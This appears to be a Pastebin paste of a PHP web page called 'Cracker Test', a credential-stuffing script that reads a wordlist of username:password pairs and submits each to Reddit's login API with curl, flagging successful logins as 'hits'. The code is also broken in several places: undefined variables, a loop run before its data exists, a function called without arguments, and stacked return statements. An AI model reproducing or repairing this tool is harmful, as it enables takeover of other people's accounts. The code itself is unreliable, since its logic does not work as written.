Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <form method='POST'>
- <title>Cracker Test</title>
- <body style="background-color: #000;">
- <p align="center">
- <center><font size="5" style="color: #FFF; font-weight:bold; font-family: verdana;">Cracker Test</center>
- <center><input type="text" name="user" id="user" style="background-color: #FFF;"><br>Example: wordlist.txt<br>max 1.000 lines<br></center>
- <p><center><input type="submit" value="Reset" name="scan"><br><br></center></p>
- </form>
- </body>
- <?php
- if(isset($_POST['user'])) {
- crack();
- }
- foreach ($lines as $line) {
- $readwordlist = $_POST['user'];
- $lines = file($readwordlist);
- foreach ($lines as $line) {
- $combo = explode(':', $line);
- $username = $combo[0];
- $password = $combo[1];
- crack($username, $password);
- return $username;
- return $password;
- }
- }
- function crack() {
- @set_time_limit(0);
- $readwordlist = $_POST['user'];
- $lines = file($readwordlist);
- // Curl Function ^_^
- $ch = curl_init();
- $headarray = array(
- 'Host: www.reddit.com',
- 'Connection: keep-alive',
- 'Accept: application/json, text/javascript, */*; q=0.01',
- 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
- 'Origin: https://www.reddit.com',
- );
- $options = array(
- CURLOPT_URL => "https://www.reddit.com",
- CURLOPT_HTTPHEADER => $headarray,
- CURLOPT_FOLLOWLOCATION => true,
- CURLOPT_CONNECTTIMEOUT => 20,
- CURLOPT_TIMEOUT => 20,
- CURLOPT_SSL_VERIFYHOST => false,
- CURLOPT_SSL_VERIFYPEER => false,
- CURLOPT_RETURNTRANSFER => true,
- CURLOPT_COOKIEFILE => "",
- CURLOPT_FRESH_CONNECT => true,
- CURLOPT_REFERER => "https://www.reddit.com/",
- );
- curl_setopt_array($ch, $options);
- $check = curl_exec($ch);
- if (strpos($check, "reddit")) {
- $check = "";
- // Curl Function ^_^
- $headarray = NULL;
- $headarray = array(
- 'Host: www.reddit.com',
- 'Connection: keep-alive',
- 'Accept: application/json, text/javascript, */*; q=0.01',
- 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
- 'Origin: https://www.reddit.com',
- 'X-Requested-With: XMLHttpRequest',
- );
- curl_setopt($ch, CURLOPT_URL, "https://www.reddit.com/api/login/" . $combo[0]);
- curl_setopt($ch, CURLOPT_HTTPHEADER, $headarray);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($ch, CURLOPT_REFERER, "https://www.reddit.com/");
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20);
- curl_setopt($ch, CURLOPT_TIMEOUT, 20);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_POSTFIELDS, "op=login-main&user=".$combo[0]."&passwd=".$combo[1]."&api_type=json");
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- //perform our request
- $result = curl_exec($ch);
- curl_close($ch);
- if (strpos($result, "modhash")) {
- echo "<br>Looks like a hit!<br>";
- print_r($username . ":" . $password . "<br>");
- return 2;
- }
- if (strpos($result, "INCORRECT_USERNAME_PASSWORD")) {
- print_r($username . ":" . $password . "<br>");
- return 1;
- }
- if (strpos($result, "WRONG_PASSWORD")) {
- print_r($username . ":" . $password . "<br>");
- return 1;
- }
- }
- }
- ?>
Add Comment
Please, Sign In to add comment